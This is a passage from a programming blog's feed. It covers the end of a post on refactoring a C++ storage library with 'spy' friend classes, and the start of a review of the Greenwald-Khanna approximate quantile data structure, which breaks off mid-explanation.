&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;vector&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;content_part_t&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cparts&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;DescriptorSet&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Descriptor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="k"&gt;private&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;own_csize&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;Segment&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;own_managed_segm&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// attention! DescriptorSet is overriding Descriptor&amp;#39;s (old) internal state!&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;segm&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;own_managed_segm&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;csize&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;own_csize&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Before trying to do any change, I needed to isolate what &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;DescriptorSet&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; knew of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Descriptor&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;. You may think, &lt;em&gt;“ok, just add a bunch of public &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;set&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; methods to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Descriptor&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and make &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;DescriptorSet&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to use them instead of accessing the internals&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;But no, adding just &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;set&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; would lead to a bad design. And worse, those public methods would be callable from &lt;em&gt;anybody&lt;/em&gt;, not just &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;DescriptorSet&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;My approach was to use &lt;strong&gt;spies&lt;/strong&gt;: classes that &lt;em&gt;are&lt;/em&gt; &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="k"&gt;friend&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Descriptor&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and implement a small subset of the functionality needed by &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;DescriptorSet&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; making &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;DescriptorSet&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; a friend &lt;strong&gt;not longer&lt;/strong&gt;.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;Descriptor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="k"&gt;private&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;friend&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;DSpy&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// DescriptorSet is not longer a friend&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// old, single-part content logic (but still the one working by now)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;csize&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;Segment&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;segm&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// new, multi-part content logic (loaded from disk, but not in use)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;vector&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;content_part_t&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cparts&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;DSpy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="k"&gt;private&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;Descriptor&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dsc&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;public&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;update_segm&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Segment&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;segm&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;csize&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// internals access, to the old logic&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;dsc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;segm&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;segm&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;dsc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;csize&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;csize&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;DescriptorSet&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Descriptor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="k"&gt;private&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;own_csize&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;Segment&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;own_managed_segm&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Not longer accessing anything private&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DSpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;update_segm&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;own_managed_segm&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;own_csize&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;It may not seem like much, I’m still exposing the internals &lt;strong&gt;but&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I have &lt;strong&gt;mapped&lt;/strong&gt; exactly &lt;strong&gt;which&lt;/strong&gt; internals I’m leaking: they are in the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;DSpy&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; methods, a much &lt;strong&gt;smaller&lt;/strong&gt; place too look. For comparison, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;DSpy&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; has 3 methods of 1 line each and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;DescriptorSet&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; has ~40 methods with a total of more than 1000 lines of code.&lt;/li&gt;
&lt;li&gt;The use of spies allows me to be &lt;strong&gt;selective&lt;/strong&gt; to which internals I want to leak: I have a small &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;DSpy&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; class for &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;DescriptorSet&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and another, larger &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;DSpyForTesting&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; for testing but nobody is a direct friend of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Descriptor&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; so nobody has access to the entire internals.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="lesson-5-chop-chop-one-small-bite-at-time"&gt;Lesson 5: chop-chop, one small bite at time&lt;/h2&gt;
&lt;p&gt;With the spies in place, I took each of their methods, one by one, and started to figure out how to remove it, doing the necessary changes in &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;DescriptorSet&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and fixing the tests, if required.&lt;/p&gt;
&lt;p&gt;I started with a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;DSpy&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; with ~8 non-trivial methods and today I reduced it to just 2, one-liners. Each method removed, each simplification lead to a smaller, much easier to understand, interaction between &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Descriptor&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;DescriptorSet&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Only then I took the leap to remplace any use of the old single-part implementation by the new one. The real refactor.&lt;/p&gt;
&lt;p&gt;The result?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;the branch ended with 69 commits, &lt;a href="https://github.com/eldipa/xoz/commit/5521498b16a2bd24440a865c88f25c141be4271c"&gt;squashed in a single commit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;it was 1 month of work&lt;/li&gt;
&lt;li&gt;41 files were changed&lt;/li&gt;
&lt;li&gt;with 3014 insertions and 1479 deletions in total&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="summary"&gt;Summary&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Try to break as little as possible.&lt;/li&gt;
&lt;li&gt;If you break too much, stop and step back&lt;/li&gt;
&lt;li&gt;Incomplete throw-away code is ok, keep your tests passing, don’t get blind.&lt;/li&gt;
&lt;li&gt;Decouple, and if it is hard, isolate first.&lt;/li&gt;
&lt;li&gt;Split your refactor into the smallest chunks possible and go one by one.&lt;/li&gt;
&lt;/ul&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2025/05/25/Lessons-Learnt-on-Refactoring-Without-Breaking.html" rel="alternate" type="text/html" title="Lessons Learnt on Refactoring Without Breaking"/>
    <category term="xoz" label="xoz"/>
    <category term="cpp" label="cpp"/>
    <category term="refactor" label="refactor"/>
    <published>2025-05-25T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2024/12/31/Greenwald-Khanna-E-Approximated-Q-Quantile.html</id>
    <title>Greenwald-Khanna e-approximated q-quantile - a review</title>
    <updated>2024-12-31T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;&lt;label for='PG9iamVjdCAgY2xhc3M9J2Z1bGx3aWR0aCcgYWxpZ249J21pZGRsZScgZGF0YT0nL2ltZy9zdGF0cy9ncmVlbndhbGQta2hhbm5hLWUtYXBwcm94aW1hdGVkLXEtcXVhbnRpbGUvMDFfc2V0dXAuc3ZnJyB0eXBlPSdpbWFnZS9zdmcreG1sJz48L29iamVjdD4KU29ydGVkIG9ic2VydmF0aW9ucyBzdG9yZWQgaW4gYW4gYXJyYXkuCkFzc3VtaW5nIDEtYmFzZWQgaW5kZXgsIHRoZSBvYnNlcnZhdGlvbiBhdCByYW5rIGByYAoqKmlzKiogYXQgdGhlIGluZGV4IGByYC4KbWFyZ2lu' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PG9iamVjdCAgY2xhc3M9J2Z1bGx3aWR0aCcgYWxpZ249J21pZGRsZScgZGF0YT0nL2ltZy9zdGF0cy9ncmVlbndhbGQta2hhbm5hLWUtYXBwcm94aW1hdGVkLXEtcXVhbnRpbGUvMDFfc2V0dXAuc3ZnJyB0eXBlPSdpbWFnZS9zdmcreG1sJz48L29iamVjdD4KU29ydGVkIG9ic2VydmF0aW9ucyBzdG9yZWQgaW4gYW4gYXJyYXkuCkFzc3VtaW5nIDEtYmFzZWQgaW5kZXgsIHRoZSBvYnNlcnZhdGlvbiBhdCByYW5rIGByYAoqKmlzKiogYXQgdGhlIGluZGV4IGByYC4KbWFyZ2lu' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;object  class='fullwidth' align='middle' data='/img/stats/greenwald-khanna-e-approximated-q-quantile/01_setup.svg' type='image/svg+xml'&gt;&lt;/object&gt;
Sorted observations stored in an array. Assuming 1-based index, the observation at rank \(r\) &lt;strong&gt;is&lt;/strong&gt; at the index \(r\).
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Given \(n\) observations, finding which value is at rank \(r\) is trivially easy: if we store and sort the observations, the rank \(r\) will be at index \(r\).&lt;/p&gt;
&lt;p&gt;But when \(n\) gets really large, it is unfeasible to store or sort &lt;em&gt;all&lt;/em&gt; the observations.&lt;/p&gt;
&lt;p&gt;Greenwald and Khanna developed a data structure that solves this but with a trade off: we can answer which value is at rank \(r\) within &lt;em&gt;certain error&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;label for='CkZvciB0aGUgZW50aXJlIHBvc3QgSSB3aWxsIHRhbGsgYWJvdXQgcmFua3MuIFRvIGRlYWwgd2l0aCBxdWFudGlsZXMKaXQgaXMganVzdCBhIG1hdHRlciBvZiBjb21wdXRpbmcgaXRzIGVxdWl2YWxlbnQgcmFuayBgciBcbGVmdGFycm93IHEgbmAuCm1hcmdpbm5vdGVz' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CkZvciB0aGUgZW50aXJlIHBvc3QgSSB3aWxsIHRhbGsgYWJvdXQgcmFua3MuIFRvIGRlYWwgd2l0aCBxdWFudGlsZXMKaXQgaXMganVzdCBhIG1hdHRlciBvZiBjb21wdXRpbmcgaXRzIGVxdWl2YWxlbnQgcmFuayBgciBcbGVmdGFycm93IHEgbmAuCm1hcmdpbm5vdGVz' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
For the entire post I will talk about ranks. To deal with quantiles it is just a matter of computing its equivalent rank \(r \leftarrow q n\).
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;It is called an \(q\)-quantile \(\epsilon\)-approximation &lt;em&gt;summary&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;I coded it, it didn’t work and after a week on this I realized that the original work of Greenwald an Khanna may have a few &lt;em&gt;imprecisions&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;This post describes how I rethinked the data structure from scratch, where I found the mentioned imprecisions and how I got a working implementation.&lt;/p&gt;
&lt;p&gt;TL;DR -&amp;gt; &lt;a href="https://github.com/cryptonitas/cryptonita/blob/93688906dbaf781618d86e17e0a156dfe806fbc5/cryptonita/stats/distribution_summary.py"&gt;python implementation in cryptonita&lt;/a&gt; &lt;!--more--&gt; Paper -&amp;gt; &lt;a href="/assets/stats/greenwald-khanna-e-approximated-q-quantile/quantiles-GK-algorithm.pdf"&gt;Greenwald and Khanna (GK01)&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="square-one-what-is-wrong-with-using-a-sorted-array"&gt;Square one: what is wrong with using a sorted array?&lt;/h2&gt;
&lt;p&gt;The cost is &lt;em&gt;not&lt;/em&gt; bad: sorting is \(O(n \textrm{log}(n))\) and answering is \(O(1)\). If we query multiple times, the cost of the sort will be amortized.&lt;/p&gt;
&lt;p&gt;But this assumes that \(n\) is fixed and we have &lt;em&gt;all&lt;/em&gt; the observations at the moment of sorting.&lt;/p&gt;
&lt;p&gt;What would happen if we want to add new observations on the fly?&lt;/p&gt;
&lt;p&gt;You see, to keep the array sorted we find the insertion point of the new observation with a binary search \(O(\textrm{log}(n))\) and once we know where to insert, we need to &lt;em&gt;move&lt;/em&gt; all the next elements of the array to make room. And this is \(O(n)\).&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object  class='' align='middle' data='/img/stats/greenwald-khanna-e-approximated-q-quantile/02_insert_bad_linear_time.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;And &lt;em&gt;that&lt;/em&gt; displacement is bad.&lt;/p&gt;
&lt;h2 id="implicit-computed-ranks"&gt;Implicit (computed) ranks&lt;/h2&gt;
&lt;p&gt;An array is a dead road; long live to a linked list!&lt;/p&gt;
&lt;p&gt;The downside is that we lose the \(O(1)\) for querying a rank but we avoid having to move the elements to make room for a new one.&lt;/p&gt;
&lt;p&gt;Or kind of.&lt;/p&gt;
&lt;p&gt;If we explicitly track the rank of each element we still have an \(O(n)\) insert because we would have to update &lt;em&gt;all&lt;/em&gt; the next elements’ ranks.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
Example of inserting the value \(12\), at rank \(3\). The rank of &lt;em&gt;all&lt;/em&gt; the observations on its right must be updated increasing their ranks by \(1\).
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object  class='' align='middle' data='/img/stats/greenwald-khanna-e-approximated-q-quantile/03_insert_bad_explicit_ranks.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Instead, we store &lt;em&gt;tuples&lt;/em&gt; of the form \(t_i = (v_i, g_i)\):&lt;/p&gt;
&lt;p&gt;&lt;label for='PG9iamVjdCAgY2xhc3M9J2Z1bGx3aWR0aCcgYWxpZ249J21pZGRsZScgZGF0YT0nL2ltZy9zdGF0cy9ncmVlbndhbGQta2hhbm5hLWUtYXBwcm94aW1hdGVkLXEtcXVhbnRpbGUvMDRfY29tcHV0ZWRfcmFua193aXRoX2cuc3ZnJyB0eXBlPSdpbWFnZS9zdmcreG1sJz48L29iamVjdD4KRm9yIGV4YW1wbGUsIGBnXzEgKyBnXzIgKyBnXzMgPSAxICsgMSArIDEgPSAzYCBnaXZlcyB0aGUgcmFuayBvZiB0aGUgdGhpcmQgb2JzZXJ2YXRpb24gYDIwYC4KbWFyZ2lu' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PG9iamVjdCAgY2xhc3M9J2Z1bGx3aWR0aCcgYWxpZ249J21pZGRsZScgZGF0YT0nL2ltZy9zdGF0cy9ncmVlbndhbGQta2hhbm5hLWUtYXBwcm94aW1hdGVkLXEtcXVhbnRpbGUvMDRfY29tcHV0ZWRfcmFua193aXRoX2cuc3ZnJyB0eXBlPSdpbWFnZS9zdmcreG1sJz48L29iamVjdD4KRm9yIGV4YW1wbGUsIGBnXzEgKyBnXzIgKyBnXzMgPSAxICsgMSArIDEgPSAzYCBnaXZlcyB0aGUgcmFuayBvZiB0aGUgdGhpcmQgb2JzZXJ2YXRpb24gYDIwYC4KbWFyZ2lu' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;object  class='fullwidth' align='middle' data='/img/stats/greenwald-khanna-e-approximated-q-quantile/04_computed_rank_with_g.svg' type='image/svg+xml'&gt;&lt;/object&gt;
For example, \(g_1 + g_2 + g_3 = 1 + 1 + 1 = 3\) gives the rank of the third observation \(20\).
&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;\(v_i\): the value of observation.&lt;/li&gt;
&lt;li&gt;\(g_i\): the &lt;em&gt;gap&lt;/em&gt; between that element’s rank and the previous’ rank.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Every time we want to know the rank of any tuple \(t_i\) we compute \(\sum_{j \le i} g_j\).&lt;/p&gt;
&lt;p&gt;Now let’s review what happen when we insert the observation \(12\). The observations previous to it should not change but we know that \(20\) cannot be at rank \(3\) anymore but at least &lt;em&gt;one more&lt;/em&gt;, making &lt;em&gt;room&lt;/em&gt; for the new incoming \(12\).&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object  class='' align='middle' data='/img/stats/greenwald-khanna-e-approximated-q-quantile/04_insert_ok_g.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;In other words, adding a new observation &lt;em&gt;shifts by 1&lt;/em&gt; the rank of all the observations on the right. But there is no need to update anything: setting \(g = 1\) for \(12\) is enough, no need to do any \(O(n)\) stuff.&lt;/p&gt;
&lt;p&gt;&lt;label for='CldlIGFyZSBnb2luZyB0byBpbXByb3ZlIHRoaXMgZXZlbiBmdXJ0aGVyIGF0IHRoZSBlbmQgb2YgdGhlIHBvc3QuCm1hcmdpbm5vdGVz' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CldlIGFyZSBnb2luZyB0byBpbXByb3ZlIHRoaXMgZXZlbiBmdXJ0aGVyIGF0IHRoZSBlbmQgb2YgdGhlIHBvc3QuCm1hcmdpbm5vdGVz' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
We are going to improve this even further at the end of the post.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The insertions are now just \(O(log(n))\).&lt;/p&gt;
&lt;h2 id="dont-keep-all-remove-some-tuples"&gt;Don’t keep all, remove some tuples&lt;/h2&gt;
&lt;p&gt;To handle very large \(n\) we cannot keep all the observations in memory: we &lt;em&gt;need&lt;/em&gt; to remove some while still preserving the rank of the others within some error.&lt;/p&gt;
&lt;p&gt;For example, the tuple \(t_{i+1}\) with value \(12\) is at rank \(3\). If we remove the previous tuple \(t_i\), the value \(12\) &lt;em&gt;must&lt;/em&gt; still be at rank \(3\).&lt;/p&gt;
&lt;p&gt;This is easy to achieve: we just need to increase \(g_{i+1}\) by \(g_i\).&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
